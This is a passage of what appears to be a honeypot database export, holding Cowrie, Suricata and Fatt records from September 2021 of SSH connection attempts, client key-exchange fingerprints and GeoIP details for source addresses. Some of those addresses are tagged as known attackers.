"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21950	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:24.616707+03	2021-09-20 14:15:04.302613+03	{"_id": "BAXiAnwBvYTbRNuEuP5B", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "23a845094798", "@version": "1", "duration": 2.4393792152404785, "timestamp": "2021-09-20T11:06:24.616707Z", "@timestamp": "2021-09-20T11:06:24.616Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21951	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:24.822753+03	2021-09-20 14:15:04.303614+03	{"_id": "EQXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:24.822753Z", "@timestamp": "2021-09-20T11:06:24.822Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21952	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:24.82581+03	2021-09-20 14:15:04.304612+03	{"_id": "EgXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "e64b79dd4683", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:24.825810Z", "@timestamp": "2021-09-20T11:06:24.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21953	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:24.877354+03	2021-09-20 14:15:04.305612+03	{"_id": "EwXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "62c21894c061", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:24.877354Z", "@timestamp": "2021-09-20T11:06:24.877Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21954	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:25.016985+03	2021-09-20 14:15:04.306613+03	{"_id": "FAXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "129aae4c0a88", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:25.016985Z", "@timestamp": "2021-09-20T11:06:25.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21955	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:25.099713+03	2021-09-20 14:15:04.308613+03	{"_id": "FQXiAnwBvYTbRNuEuP5C", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "e64b79dd4683", "@version": "1", "timestamp": "2021-09-20T11:06:25.099713Z", "@timestamp": "2021-09-20T11:06:25.099Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21956	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:25.295804+03	2021-09-20 14:15:04.309613+03	{"_id": "LQXiAnwBvYTbRNuEu_5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 699694920514811, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 37806, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.295804Z", "@timestamp": "2021-09-20T11:06:25.295Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21957	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:25.331841+03	2021-09-20 14:15:04.310613+03	{"_id": "LwXiAnwBvYTbRNuEu_5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 487285165451203, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 55550, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.331841Z", "@timestamp": "2021-09-20T11:06:25.331Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21958	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:25.09883+03	2021-09-20 14:15:04.311612+03	{"_id": "LgXiAnwBvYTbRNuEu_5F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 2167740512137139, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42486, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.098830Z", "@timestamp": "2021-09-20T11:06:25.098Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21959	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:25.549504+03	2021-09-20 14:15:04.312613+03	{"_id": "MwXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43632 (192.168.176.2:22) [session: ed558b78f6a3]", "session": "ed558b78f6a3", "@version": "1", "protocol": "ssh", "src_port": 43632, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.549504Z", "@timestamp": "2021-09-20T11:06:25.549Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21960	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:25.963657+03	2021-09-20 14:15:04.313613+03	{"_id": "NAXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:57066 (192.168.176.2:22) [session: fc3c7432252e]", "session": "fc3c7432252e", "@version": "1", "protocol": "ssh", "src_port": 57066, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.963657Z", "@timestamp": "2021-09-20T11:06:25.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21961	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:25.018076+03	2021-09-20 14:15:04.314613+03	{"_id": "NQXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37806, "timestamp": "2021-09-20T11:06:25.018076", "@timestamp": "2021-09-20T11:06:25.018Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21962	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:06:25.098946+03	2021-09-20 14:15:04.315612+03	{"_id": "NgXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42486, "dest_port": 22, "timestamp": "2021-09-20T11:06:25.098946", "@timestamp": "2021-09-20T11:06:25.098Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
21963	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:25.15314+03	2021-09-20 14:15:04.316613+03	{"_id": "NwXiAnwBvYTbRNuEvP41", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38288, "timestamp": "2021-09-20T11:06:25.153140", "@timestamp": "2021-09-20T11:06:25.153Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
